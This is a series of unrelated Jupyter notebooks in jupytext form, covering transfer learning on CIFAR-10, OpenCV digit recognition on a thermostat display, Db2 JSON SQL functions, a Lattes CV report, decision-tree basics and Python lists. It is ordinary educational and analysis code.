# Print status.
msg = "Global Step: {0:>6}, Training Batch Accuracy: {1:>6.1%}"
print(msg.format(i_global, batch_acc))
# Ending time.
end_time = time.time()
# Difference between start and end-times.
time_dif = end_time - start_time
# Print the time-usage.
print("Time usage: " + str(timedelta(seconds=int(round(time_dif)))))
# ## Helper-Functions for Showing Results
# ### Helper-function to plot example errors
# Function for plotting examples of images from the test-set that have been mis-classified.
def plot_example_errors(cls_pred, correct):
# This function is called from print_test_accuracy() below.
# cls_pred is an array of the predicted class-number for
# all images in the test-set.
# correct is a boolean array whether the predicted class
# is equal to the true class for each image in the test-set.
# Negate the boolean array.
incorrect = (correct == False)
# Get the images from the test-set that have been
# incorrectly classified.
images = images_test[incorrect]
# Get the predicted classes for those images.
cls_pred = cls_pred[incorrect]
# Get the true classes for those images.
cls_true = cls_test[incorrect]
n = min(9, len(images))
# Plot the first n images.
plot_images(images=images[0:n],
cls_true=cls_true[0:n],
cls_pred=cls_pred[0:n])
# ### Helper-function to plot confusion matrix
# +
# Import a function from sklearn to calculate the confusion-matrix.
from sklearn.metrics import confusion_matrix
def plot_confusion_matrix(cls_pred):
# This is called from print_test_accuracy() below.
# cls_pred is an array of the predicted class-number for
# all images in the test-set.
# Get the confusion matrix using sklearn.
cm = confusion_matrix(y_true=cls_test, # True class for test-set.
y_pred=cls_pred) # Predicted class.
# Print the confusion matrix as text.
for i in range(num_classes):
# Append the class-name to each line.
class_name = "({}) {}".format(i, class_names[i])
print(cm[i, :], class_name)
# Print the class-numbers for easy reference.
class_numbers = [" ({0})".format(i) for i in range(num_classes)]
print("".join(class_numbers))
# -
# ### Helper-functions for calculating classifications
#
# This function calculates the predicted classes of images and also returns a boolean array whether the classification of each image is correct.
#
# The calculation is done in batches because it might use too much RAM otherwise. If your computer crashes then you can try and lower the batch-size.
# +
# Split the data-set in batches of this size to limit RAM usage.
batch_size = 256
def predict_cls(transfer_values, labels, cls_true):
# Number of images.
num_images = len(transfer_values)
# Allocate an array for the predicted classes which
# will be calculated in batches and filled into this array.
cls_pred = np.zeros(shape=num_images, dtype=np.int)
# Now calculate the predicted classes for the batches.
# We will just iterate through all the batches.
# There might be a more clever and Pythonic way of doing this.
# The starting index for the next batch is denoted i.
i = 0
while i < num_images:
# The ending index for the next batch is denoted j.
j = min(i + batch_size, num_images)
# Create a feed-dict with the images and labels
# between index i and j.
feed_dict = {x: transfer_values[i:j],
y_true: labels[i:j]}
# Calculate the predicted class using TensorFlow.
cls_pred[i:j] = session.run(y_pred_cls, feed_dict=feed_dict)
# Set the start-index for the next batch to the
# end-index of the current batch.
i = j
# Create a boolean array whether each image is correctly classified.
correct = (cls_true == cls_pred)
return correct, cls_pred
# -
# Calculate the predicted class for the test-set.
def predict_cls_test():
return predict_cls(transfer_values = transfer_values_test,
labels = labels_test,
cls_true = cls_test)
# ### Helper-functions for calculating the classification accuracy
#
# This function calculates the classification accuracy given a boolean array whether each image was correctly classified. E.g. `classification_accuracy([True, True, False, False, False]) = 2/5 = 0.4`. The function also returns the number of correct classifications.
def classification_accuracy(correct):
# When averaging a boolean array, False means 0 and True means 1.
# So we are calculating: number of True / len(correct) which is
# the same as the classification accuracy.
# Return the classification accuracy
# and the number of correct classifications.
return correct.mean(), correct.sum()
# ### Helper-function for showing the classification accuracy
# Function for printing the classification accuracy on the test-set.
#
# It takes a while to compute the classification for all the images in the test-set, that's why the results are re-used by calling the above functions directly from this function, so the classifications don't have to be recalculated by each function.
def print_test_accuracy(show_example_errors=False,
show_confusion_matrix=False):
# For all the images in the test-set,
# calculate the predicted classes and whether they are correct.
correct, cls_pred = predict_cls_test()
# Classification accuracy and the number of correct classifications.
acc, num_correct = classification_accuracy(correct)
# Number of images being classified.
num_images = len(correct)
# Print the accuracy.
msg = "Accuracy on Test-Set: {0:.1%} ({1} / {2})"
print(msg.format(acc, num_correct, num_images))
# Plot some examples of mis-classifications, if desired.
if show_example_errors:
print("Example errors:")
plot_example_errors(cls_pred=cls_pred, correct=correct)
# Plot the confusion matrix, if desired.
if show_confusion_matrix:
print("Confusion Matrix:")
plot_confusion_matrix(cls_pred=cls_pred)
# ## Results
# ## Performance before any optimization
# The classification accuracy on the test-set is very low because the model variables have only been initialized and not optimized at all, so it just classifies the images randomly.
print_test_accuracy(show_example_errors=False,
show_confusion_matrix=False)
# ## Performance after 10,000 optimization iterations
# After 10,000 optimization iterations, the classification accuracy is about 90% on the test-set. Compare this to the basic Convolutional Neural Network from Tutorial #06 which had less than 80% accuracy on the test-set.
optimize(num_iterations=10000)
print_test_accuracy(show_example_errors=True,
show_confusion_matrix=True)
# ## Close TensorFlow Session
# We are now done using TensorFlow, so we close the session to release its resources. Note that there are two TensorFlow-sessions so we close both, one session is inside the model-object.
# +
# This has been commented out in case you want to modify and experiment
# with the Notebook without having to restart it.
# model.close()
# session.close()
# -
# ## Conclusion
#
# In the previous Tutorial #06 it took 15 hours on a laptop PC to train a neural network for classifying the CIFAR-10 data-set with an accuracy of about 80% on the test-set.
#
# In this tutorial we used the Inception model from Tutorial #07 to achieve a classification accuracy of about 90% on the CIFAR-10 data-set. This was done by feeding all the images from the CIFAR-10 data-set through the Inception model and caching the so-called transfer-values prior to the final classification layer. We then built another neural network that took these transfer-values as input and produced a CIFAR-10 class as output.
#
# The CIFAR-10 data-set contains a total of 60,000 images. It took about 6 hours to calculate the transfer-values of the Inception model for all these images, using a laptop PC without a GPU. And training the new classifier on top of these transfer-values only took a few minutes. So the combined time-usage of this tranfer-learning was less than half the time it took to train a neural network directly for the CIFAR-10 data-set, and it achieved significantly higher classification accuracy.
#
# So transfer-learning with the Inception model is useful for building an image classifier for your own data-set.
# ## Exercises
#
# These are a few suggestions for exercises that may help improve your skills with TensorFlow. It is important to get hands-on experience with TensorFlow in order to learn how to use it properly.
#
# You may want to backup this Notebook and the other files before making any changes.
#
# * Try using the full training-set in the PCA and t-SNE plots. What happens?
# * Try changing the neural network for doing the new classification. What happens if you remove the fully-connected layer, or add more fully-connected layers?
# * What happens if you perform fewer or more optimization iterations?
# * What happens if you change the `learning_rate` for the optimizer?
# * How would you implement random distortions to the CIFAR-10 images as was done in Tutorial #06? You can no longer use the cache because each input image is different.
# * Try using the MNIST data-set instead of the CIFAR-10 data-set.
# * Explain to a friend how the program works.
# ## License (MIT)
#
# Copyright (c) 2016 by [<NAME>](http://www.hvass-labs.org/)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
| 08_Transfer_Learning.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# name: python3
# ---
# + [markdown] id="view-in-github" colab_type="text"
# <a href="https://colab.research.google.com/github/vm1729/Openthink/blob/master/Learn%20Image/101_PyImage.ipynb" target="_parent"><img src="https://colab.research.google.com/assets/colab-badge.svg" alt="Open In Colab"/></a>
# + id="3TvSHK37S5yX" colab_type="code" colab={}
# import the necessary packages
from imutils.perspective import four_point_transform
from imutils import contours
import imutils
import cv2
# define the dictionary of digit segments so we can identify
# each digit on the thermostat
DIGITS_LOOKUP = {
(1, 1, 1, 0, 1, 1, 1): 0,
(0, 0, 1, 0, 0, 1, 0): 1,
(1, 0, 1, 1, 1, 1, 0): 2,
(1, 0, 1, 1, 0, 1, 1): 3,
(0, 1, 1, 1, 0, 1, 0): 4,
(1, 1, 0, 1, 0, 1, 1): 5,
(1, 1, 0, 1, 1, 1, 1): 6,
(1, 0, 1, 0, 0, 1, 0): 7,
(1, 1, 1, 1, 1, 1, 1): 8,
(1, 1, 1, 1, 0, 1, 1): 9
}
# + id="cSzwvnsuTJtb" colab_type="code" colab={"resources": {"http://localhost:8080/nbextensions/google.colab/files.js": {"data": "<KEY>WUsCn07Cn0pKHNlbGYpOwo=", "ok": true, "headers": [["content-type", "application/javascript"]], "status": 200, "status_text": ""}}, "base_uri": "https://localhost:8080/", "height": 75} outputId="9dbc653a-6186-4643-b2b5-5b611849c72d"
from google.colab import files
upload=files.upload()
# + id="YdwRlF9KUN5t" colab_type="code" colab={}
# load the example image
image = cv2.imread("thermostat.jpg")
# + id="rXIXARG7UYrI" colab_type="code" colab={"base_uri": "https://localhost:8080/", "height": 517} outputId="e1c1e3fb-8458-4771-a758-1024870c269a"
from google.colab.patches import cv2_imshow
cv2_imshow(image)
# + id="bZuXPTqXUpvD" colab_type="code" colab={}
image = imutils.resize(image, height=500)
gray=cv2.cvtColor(image,cv2.COLOR_BGR2GRAY)
blurred=cv2.GaussianBlur(gray,(5,5),0)
edged=cv2.Canny(blurred,50,200,255)
# + id="WA4WFONWVSPG" colab_type="code" colab={"base_uri": "https://localhost:8080/", "height": 517} outputId="ccbcd734-259b-4ddb-a27e-b5677572b844"
cv2_imshow(edged)
# + id="jdqqOSR7VVKr" colab_type="code" colab={}
# find contours in the edge map, then sort them by their
# size in descending order
cnts = cv2.findContours(edged.copy(), cv2.RETR_EXTERNAL,
cv2.CHAIN_APPROX_SIMPLE)
cnts = imutils.grab_contours(cnts)
cnts = sorted(cnts, key=cv2.contourArea, reverse=True)
displayCnt = None
# loop over the contours
for c in cnts:
# approximate the contour
peri = cv2.arcLength(c, True)
approx = cv2.approxPolyDP(c, 0.02 * peri, True)
# if the contour has four vertices, then we have found
# the thermostat display
if len(approx) == 4:
displayCnt = approx
break
# + id="QJb-UUoXkCEE" colab_type="code" colab={}
# extract the thermostat display, apply a perspective transform
# to it
warped = four_point_transform(gray, displayCnt.reshape(4, 2))
output = four_point_transform(image, displayCnt.reshape(4, 2))
# + id="AvzrcDK7jUwg" colab_type="code" colab={}
thresh = cv2.threshold(warped, 0, 255,
cv2.THRESH_BINARY_INV | cv2.THRESH_OTSU)[1]
kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (1, 5))
thresh = cv2.morphologyEx(thresh, cv2.MORPH_OPEN, kernel)
# + id="J8ZkXTFajPgq" colab_type="code" colab={}
# find contours in the thresholded image, then initialize the
# digit contours lists
cnts = cv2.findContours(thresh.copy(), cv2.RETR_EXTERNAL,
cv2.CHAIN_APPROX_SIMPLE)
cnts = imutils.grab_contours(cnts)
digitCnts = []
# loop over the digit area candidates
for c in cnts:
# compute the bounding box of the contour
(x, y, w, h) = cv2.boundingRect(c)
# if the contour is sufficiently large, it must be a digit
if w >= 15 and (h >= 30 and h <= 40):
digitCnts.append(c)
# + id="yNxRliKNiF_5" colab_type="code" colab={"base_uri": "https://localhost:8080/", "height": 1000} outputId="c2453231-9f72-48ea-ed97-71060eeced1b"
digitCnts
# + id="V9vc16gQji2Z" colab_type="code" colab={}
# sort the contours from left-to-right, then initialize the
# actual digits themselves
digitCnts = contours.sort_contours(digitCnts,
method="left-to-right")[0]
digits = []
# + id="gHSe_YtSkT-r" colab_type="code" colab={}
# loop over each of the digits
for c in digitCnts:
# extract the digit ROI
(x, y, w, h) = cv2.boundingRect(c)
roi = thresh[y:y + h, x:x + w]
# compute the width and height of each of the 7 segments
# we are going to examine
(roiH, roiW) = roi.shape
(dW, dH) = (int(roiW * 0.25), int(roiH * 0.15))
dHC = int(roiH * 0.05)
# define the set of 7 segments
segments = [
((0, 0), (w, dH)), # top
((0, 0), (dW, h // 2)), # top-left
((w - dW, 0), (w, h // 2)), # top-right
((0, (h // 2) - dHC) , (w, (h // 2) + dHC)), # center
((0, h // 2), (dW, h)), # bottom-left
((w - dW, h // 2), (w, h)), # bottom-right
((0, h - dH), (w, h)) # bottom
]
on = [0] * len(segments)
# + id="aE6O5Qp5kadZ" colab_type="code" colab={"base_uri": "https://localhost:8080/", "height": 867} outputId="4d51f80f-8f68-4efa-a415-3ce08bd23342"
# loop over the segments
for (i, ((xA, yA), (xB, yB))) in enumerate(segments):
# extract the segment ROI, count the total number of
# thresholded pixels in the segment, and then compute
# the area of the segment
segROI = roi[yA:yB, xA:xB]
total = cv2.countNonZero(segROI)
area = (xB - xA) * (yB - yA)
# if the total number of non-zero pixels is greater than
# 50% of the area, mark the segment as "on"
if total / float(area) > 0.5:
on[i]= 1
# lookup the digit and draw it on the image
digit = DIGITS_LOOKUP[tuple(on)]
digits.append(digit)
cv2.rectangle(output, (x, y), (x + w, y + h), (0, 255, 0), 1)
cv2.putText(output, str(digit), (x - 10, y - 10),
cv2.FONT_HERSHEY_SIMPLEX, 0.65, (0, 255, 0), 2)
# + id="YD_PpSLDkozV" colab_type="code" colab={"base_uri": "https://localhost:8080/", "height": 35} outputId="794083c2-fb7b-47de-e278-0de70c2f93e7"
on[2]
# + id="VI3OrT-3kyTQ" colab_type="code" colab={"base_uri": "https://localhost:8080/", "height": 35} outputId="29640107-24ce-4f32-a678-86f773ae6cad"
digits
| 07. Tensorflow/Computer vision/101_PyImage.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# # Db2 JSON Function Overview
# Updated: 2019-10-03
# ## Db2 JSON Functions
# Db2 Version 11.1 Fix pack 4 introduced a subset of the JSON SQL functions defined by ISO and that set is shown in the table below.
#
# | Function | Description |
# |:---------|:------------|
# | `BSON_TO_JSON` | Convert BSON formatted document into JSON strings
# | `JSON_TO_BSON` | Convert JSON strings into a BSON document format
# | `JSON_ARRAY` | Creates a JSON array from input key value pairs
# | `JSON_OBJECT` | Creates a JSON object from input key value pairs
# | `JSON_VALUE` | Extract an SQL scalar value from a JSON object
# | `JSON_QUERY` | Extract a JSON object from a JSON object
# | `JSON_TABLE` | Creates a SQL table from a JSON object
# | `JSON_EXISTS` | Determines whether a JSON object contains the desired JSON value
#
# These functions are all part of the SYSIBM schema, so a user does not require permissions in order to use them for development or general usage. The functions can be categorized into three broad categories:
# #### Conversion functions
# The `BSON_TO_JSON` and `JSON_TO_BSON` functions are used to convert JSON character data into the binary BSON format and vice-versa. Conversion functions are optional and are discussed in the section below. These functions are not actually part of the ISO specifications and are provided simply for your convenience.
# #### Retrieval functions
# The `JSON_VALUE` and `JSON_QUERY` functions are used to retrieve portions of a document as SQL or JSON scalar values, while `JSON_TABLE` can be used to format JSON documents into a table of rows and columns. The `JSON_EXISTS` function can be used in conjunction with the retrieval functions to check for the existence of a field.
# #### Publishing Routines
# The `JSON_ARRAY` and `JSON_OBJECT` functions are used to create JSON objects from relational data.
# ### Common Db2 JSON Parameters
# A majority of the Db2 ISO JSON functions depend on two parameters that are supplied at the beginning of a function. These parameters are:
# * JSON Expression
# * JSON Path Expression
#
# #### JSON Expression
# The JSON expression refers to either a column name in a table where the JSON document is stored (either in JSON or BSON format), a JSON or BSON literal string, or a SQL variable containing a JSON or BSON string.
#
# The examples below illustrate these options.
# * A column name within a Table
# ```
# JSON_VALUE(CUSTOMER.JSON_DOC,…)
# ```
# * Using a character string as the argument
# ```
# JSON_VALUE('{"first":"Thomas","last":"Hronis":}',…)
# ```
#
# * Using an SQL variable
# ```
# CREATE VARIABLE EXPR VARCHAR(256) DEFAULT('{"first":"Thomas"}')
# JSON_VALUE(EXPR,…)
# ```
#
# The JSON expression can also include a modifier of `FORMAT JSON` or `FORMAT BSON`. The `FORMAT` clause is optional and by default the Db2 functions use the data type of the supplied value to determine how to interpret the contents. In the event that you need to override how the JSON field is interpreted, you must use the `FORMAT` option.
# #### JSON Path Expression
# A JSON path expression is used to navigate to individual values, objects, arrays, or allow for multiple matches within a JSON document. The JSON path expression is based on the syntax that is fully described in the notebook on JSON Path Expressions.
# The following list gives a summary of how a path expression is created but the details of how the matches occur are documented in the next chapter.
# * The top of any path expression is the anchor symbol (`$`)
# * Traverse to specific objects at different levels by using the dot operator (`.`)
# * Use square brackets `[]` to refer to items in an array with the first item starting at position zero (i.e. first element in an array is accessed as `arrayname[0]`)
# * Use the backslash `\` as an escape character when key names include any of the JSON path characters `(.,*,$,[,])`
# * Use the asterisk (`*`) to match any object at the current level
# * Use the asterisk (`*`) to match all objects in an array or retrieve only the value fields from an object
#
# The path expression can have an optional name represented by the `AS path-name` clause. The `AS` clause is included for compatibility with the ISO SQL standard but currently does not have any effect on the Db2 JSON functions.
# ## Sample JSON Functions
# The following SQL demonstrates some of the JSON functions that are available in Db2. The other notebooks will go into more details of each one of these functions.
# ### Load Db2 Extensions and Connect to the Database
# The `connection` notebook contains the `CONNECT` statement which allows access to the `SAMPLE` database. If you need to modify the connection information, edit the `connection.ipynb` notebook.
# %run ../db2.ipynb
# %run ../connection.ipynb
# This statement will create a variable named customer which will be used for some of the examples.
customer = {
"customerid": 100000,
"identity":
{
"firstname": "Jacob",
"lastname": "Hines",
"birthdate": "1982-09-18"
},
"contact":
{
"street": "Main Street North",
"city": "Amherst",
"state": "OH",
"zipcode": "44001",
"email": "<EMAIL>",
"phone": "813-689-8309"
},
"payment":
{
"card_type": "MCCD",
"card_no": "4742-3005-2829-9227"
},
"purchases":
[
{
"tx_date": "2018-02-14",
"tx_no": 157972,
"product_id": 1860,
"product": "Ugliest Snow Blower",
"quantity": 1,
"item_cost": 51.86
}
]
}
# ### JSON_EXISTS
# Check to see if the customer made a __`purchase`__.
# %sql VALUES JSON_EXISTS(:customer,'$.purchases')
# ### JSON_VALUE
# Retrieve the __`customerid`__ field.
# %sql VALUES JSON_VALUE(:customer,'$.customerid')
# ### JSON_QUERY
# Retrieve the __`identity`__ structure.
# %sql -j VALUES JSON_QUERY(:customer,'$.identity')
# ### JSON_TABLE
# Retrieve all of the personal information as a table.
# + language="sql"
# WITH CUSTOMER(INFO) AS (VALUES :customer)
# SELECT T.* FROM CUSTOMER,
# JSON_TABLE(INFO, 'strict $'
# COLUMNS(
# FIRST_NAME VARCHAR(20) PATH '$.identity.firstname',
# LAST_NAME VARCHAR(20) PATH '$.identity.lastname',
# BIRTHDATE DATE PATH '$.identity.birthdate')
# ERROR ON ERROR) AS T;
# -
# ### JSON_OBECT
# Publish one record as a JSON object.
# + magic_args="-j" language="sql"
# WITH CUSTOMER(CUSTNO, FIRSTNAME, LASTNAME, BIRTHDATE, INCOME) AS
# (
# VALUES
# (1, 'George', 'Baklarz', '1999-01-01', 50000)
# )
# SELECT
# JSON_OBJECT (
# KEY 'customer' VALUE JSON_OBJECT
# (
# KEY 'id' VALUE CUSTNO,
# KEY 'name' VALUE JSON_OBJECT
# (
# KEY 'first' VALUE FIRSTNAME,
# KEY 'last' VALUE LASTNAME
# ) FORMAT JSON,
# KEY 'birthdate' VALUE BIRTHDATE,
# KEY 'income' VALUE INCOME
# ) FORMAT JSON
# )
# FROM CUSTOMER
# -
# ### JSON_ARRAY
# Publish one record as a JSON array object.
# + magic_args="-j" language="sql"
# WITH CUSTOMERS(CUSTNO) AS
# (
# VALUES
# 10, 20, 33, 55, 77
# )
# VALUES
# JSON_OBJECT (
# KEY 'customers' VALUE JSON_ARRAY (SELECT * FROM CUSTOMERS) FORMAT JSON
# )
# -
# ### Summary
# Db2 supports a number of the new ISO JSON functions directly in the database. Users can use this new syntax to store, query, and publish JSON data from within Db2.
# #### Credits: IBM 2019, <NAME> [<EMAIL>]
| Db2_11.5_Features/Db2_11.5_JSON_03_Db2_ISO_JSON_Functions.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: vLattes
# language: python
# name: vlattes
# ---
# + tags=["HIDE"]
import importlib
import os
import sys
from glob import glob
import numpy as np
import warnings
warnings.simplefilter(action='ignore', category=FutureWarning)
import pandas as pd
import random
from datetime import datetime as dt
caminho = os.path.abspath("../src/pylattesLXML/")
os.chdir(caminho)
dirpath = os.getcwd()
# Pacotes básicos
#show result from all calculations of the cell
from IPython.core.interactiveshell import InteractiveShell
InteractiveShell.ast_node_interactivity = "all"
#----Carregando Módulo
import pylattesLXML as lattes
# + tags=["HIDE", "parameters"]
nome = '<NAME>'
# -
path = '../../data/raw/CVs/*'
files = glob(os.path.abspath(path))
# + tags=["HIDE"]
PQ = lattes.Pesquisador()
PQ.periodo = ['2020','2019','2018','2017'];
PQ.nome = nome
file = '../../data/raw/CVs/'
PQ.file = files[0]
resultados = PQ.doSumarioUFCG()
pontos = resultados[0]
producao = resultados[1]
producao_pontuada = resultados[2]
pessoal = resultados[3]
demografico = resultados[4]
titulacao = resultados[5]
# -
# <center><h5> <img src="./assets/Logo-UFCG.png" width="80" > </h5>
# <h1> UNIVERSIDADE FEDERAL DE CAMPINA GRANDE </h1>
# <h2> PRÓ-REITORIA DE PÓS-GRADUAÇÃO </h2>
# <h2> Coordenação de Pesquisa </h2>
# </center>
#
# <div style="color:#ff8000;" ><h2> Informações Metodológicas </h2></div>
#
# - As informações foram extraídas do CV Lattes do pesquisador fornecido pelo próprio pesquisador.
# - Não foi realizada validação com o DTD do Lattes porque este está desatualizado e muitos falsos inválidos surgiram na primeira análise.
# - Todas as análises foram realizadas com Python, biblioteca LXML, que mostrou melhor performance do que as alternativas nativas.
# - Os elementos extraídos foram todos os elementos das árvores desejadas: Dados Pessoais, Formação Acadêmica, Produção Bibliográfica, Produção Técnica, Outras Produções.
# - O período considerado foi o período de quatro anos.
# - Dados de lotação foram extraídos de informações da própria UFCG, quando disponíveis.
# - Devido a grande diversidade de dados fornecidos, não houve utilidade em validar ISSN, ISBN e DOI
# - Pacote completo documentado será disponibilizado no GitHub.
#
#
# <center><div style="color:blue;" ><h1> Relatório Individual de Produção Acadêmica </h1></div></center>
# <div style="color:blue;" ><h2> Informações do Sistema </h2></div>
inicio = dt.now().strftime('%d/%m/%Y %H:%M')
print(inicio)
# !whoami
# !uname -a
# !python --version
# <div style="color:blue;" ><h2> Informações do Pesquisador </h2></div>
# #### Dados Pessoais
#
# + tags=["HIDE"]
pessoal
# -
# #### Dados Demográficos
#
# + tags=["HIDE"]
demografico
# -
# <div style="color:blue;" ><h2> Informações de Titulação e Formação</h2></div>
# + tags=["HIDE"]
titulacao
# -
# <div style="color:blue;" ><h2> Resumo da Produção Bibliográfica </h2></div>
producao
# ## Resumo de Produção Pontuada
producao_pontuada
# ## Nota de Currículo
pontos
# # Critérios de Pontuação
pontuacao = pd.read_excel('../data/pontuacao.xlsx')
pontuacao.fillna('')
| notebooks/RelatorioPessoalLattesUFCG.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python [default]
# language: python
# name: python3
# ---
# # What are Decision Trees?
# DT are a Machine Learning algorithm where the learned model is represented by a tree.
# * Each node represent a choice associated to one input feature and
# * The edge departing from that node represents the potential outcomes for the choice.
#
# ### Gini impurity
# $= 1 - \sum{p^2}$
# ### Information Gain (Entropy)
# $H(x) = - \sum{p(x)log(p(x))} = - E[{log(p(x)}]$
# ### Variance Reduction
# # Code
# Structure:
# The object will be named **DecitionTree** and it will have the following functions:
# + fit
# + predict
# + split_measurement
# + gini_impurity
# + information gain (entropy)
# + variance reduction
#
| Decision Tree.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3 (ipykernel)
# language: python
# name: python3
# ---
# # LISTS
#
# DATA STRUCTURE: It is a way to store and organize data so that it can be used efficiently.
#
# -> List is the one of the Sequence data structure.
# -> List are collection of items(Strings, integers or even other lists)
# -> List are enclosed in [] (square bracket).
# -> Each item in the list has an assigned index value.
# -> Each item in the list is seperated by a comma.
# -> Lists are mutable which means they can be changed.
# -> Indexing starts from 0.
#
# ### LIST CREATION
# +
emptyList = []
lst = ['one', 'two', 'three', 'four'] #list of strings
lst2 = [1, 2, 3, 4] #list of integers
lst3 = [[1, 2], [3, 4]] #list of lists
lst4 = [1, 'ramu', 24, 1.24] #list of different datatypes
print(lst4)
print(lst4[3])
# -
# ### LIST LENGTH
# +
lst = ['one', 'two', 'three', 'four']
#find length of a list
print(len(lst)) #Q. len is keyword or function ? ANS : function
# -
# ### LIST APPEND
# +
lst = ['one', 'two', 'three', 'four']
lst.append('five')
print(lst)
# -
#
# ### LIST INSERT
# +
#Syntax: lst.insert(x,y)
lst = ['one', 'two', 'four']
lst.insert(2,"three") #will add element y(three) at location x(2)
print(lst)
# -
# ### LIST REMOVE
# +
#Syntax: lst.remove(x)
lst = ['one' , 'two', 'three', 'four', 'two']
lst.remove('two') #It will remove the first occurance of 'two' in a given list
print(lst)
print(lst.index('two'))
# -
# ### LIST APPEND AND EXTEND
# +
lst = ['apple', 'banana', 'guava', 'grapes']
lst2 = ['Mango', 'pineapple']
#append
lst.append(lst2) #adds lst2 in lst ; list within list
print(lst.index("Mango"))
# +
lst = ['Iron Man', 'Hulk', 'Black Widow']
lst2 = ['Hawkeye', 'Captain America' , 'Thor']
#extend will join the lst2 with lst
lst.extend(lst2 )
print(lst)
# -
# ### LIST DELETE
# +
#del to remove item based on index position -> del removes the item from the list
lst = ['dbms', 'os', 'algo', 'cn', 'dsa' , 'cp']
print("Befor delete : " ,lst)
print()
del lst[5]
print("After Delete : ", lst)
print()
#or we can use pop() method -> pop returns the item from the list
lst2 = ['hp', 'dell', 'lenovo', 'apple']
a = lst2.pop(2)
print(a)
print()
print(lst2)
# +
#remove an element using element name not index
lst = ['pranjal', 'malay', 'shrey', 'prince']
lst.remove('malay')
print(lst)
# -
# ## LIST RELATED KEYWORDS IN PYTHON
# +
#keyword 'in' is used to test if an element is in a list
lst = ['aws', 'ai' , 'ml' , 'data science']
if 'aws' in lst:
print('GREAT')
#keyword 'not' can combined with 'in'
if "cp" not in lst:
print('Innovative')
# -
#
# ## LIST REVERSE
# +
#reverse is reverses the entire list
lst = [1,2,3,4]
lst.reverse()
print(lst)
# -
# ## LIST SORTING
# +
#Create a list with numbers
alphabet = ['u','o','i','e','a']
sorted_lst = sorted(alphabet)
print("Sorted list : ",sorted_lst)
#original list remain unchanged
print("Original list: ",alphabet)
# +
#print a list in reverse sorted order
print("Reverse sorted list : ",sorted(sorted_lst,reverse=True))
#original list remain unchanged
print("Original list : ",sorted_lst)
# +
lst = [1, 20, 5, 5, 4.21]
#sort the list and stored in itself
lst.sort()
print("Sorted list is : ",lst)
# +
#add element 'a' to the list to show an error
lst1 = ['b', 'c', 13 , 3 , 69]
print(lst1.sort())
# -
# ## LIST HAVING MULTIPLE REFERENCES
# +
lst = [1,2,3,4,5]
abc = lst
abc.append(6)
print("Original list : ",lst)
#abc is pointing to the address of lst. here 'abc' and 'lst' are references and any change in 'abc' reflects to 'lst'
# -
# ## STRING SPLIT TO CREATE A LIST
# +
#let's take a string
s = "I.am.Malay.Thakur"
s_lst = s.split('.')
print(s_lst)
# -
s = "I am studying pyhton"
split_lst = s.split(" ") #split_lst = s.split(" ") default split is white character: space or tab
print(split_lst)
# ## LIST INDEXING
#
# -> Each item in the list has an assigned index value starting from 0.
#
# -> Accessing elements in a list is called indexing.
#
# +
lst = [1,2,3,4,5]
print(lst[0])
print(lst[1]) #print second element
print(lst[-1]) #prints the last element of a list
print(lst[-2]) #prints the second last element of a list
# -
# ## LIST SLICING
#
# -> Accessing parts of segments is called slicing.
# -> The key points to remember is that the : end value represents the first value that is not in the selected slice
# +
numbers = [10,20,30,40,50,60,70,80]
#print all the numbers
print(numbers[:])
#print from index 0 to index 3 (prints upto index 4)
print(numbers[0:4])
# -
print(numbers)
#print alternate elements in a list
#numbers[starting index:end index:stepsize]
print(numbers[::3]) #count the stepsize from the starting index , [::] indicate the beggining to end of list
print(numbers[-2:])
print(numbers[2:-2])
print(numbers[-2:])
print(numbers[2::2])
print(numbers[1::2])
# ## LIST EXTEND USING '+'
# +
lst1 = [2,4,6,8,10]
lst2 = ['two','four','six','eight','ten']
new_lst = lst1 + lst2
print(new_lst)
# -
# ## LIST COUNT
#
# +
numbers = [2,2,3,2,3,5,3,2,5,7,3,2,7,3,7]
#frequency of 2 in numbers
print(numbers.count(1))
#frequency of 3 in a list
print(numbers.count(3))
# -
# ## LIST LOOPING
# +
#loop through a list
lst = ['apple', 'bannana', 'cat', 'dog']
for i in lst:
print(i)
# -
# ## LIST COMPREHENSION
#
# -> List comprehension provides a concise way to create lists.
#
# Common application are to make new lists where each element is the result of some operations applied to each member of another sequence or iterable, or to create a subsequence of those elements that satisfy a certain condition.
# +
#without list comprehension
squares = []
for i in range(11): #range 10 means 0 to 10
squares.append(i**2)
print(squares)
# -
#using list comprehension
squares = [i**2 for i in range(0,11)]
print(squares)
# +
#example
lst = [-10,20,10,20,30]
#create a new list with values doubled
new_lst = [i*2 for i in lst]
print(new_lst)
#filter the list to exclude negative numbers
pos_num = [i for i in lst if i>=0]
print(pos_num)
#create a list of tuples like (number , square of a number)
new_lst2 = [(i,i**2) for i in range(11)]
print(new_lst2)
# -
# ## NESTED LIST COMPREHENSIONS
# +
#let's suppose we have a matrix
matrix = [
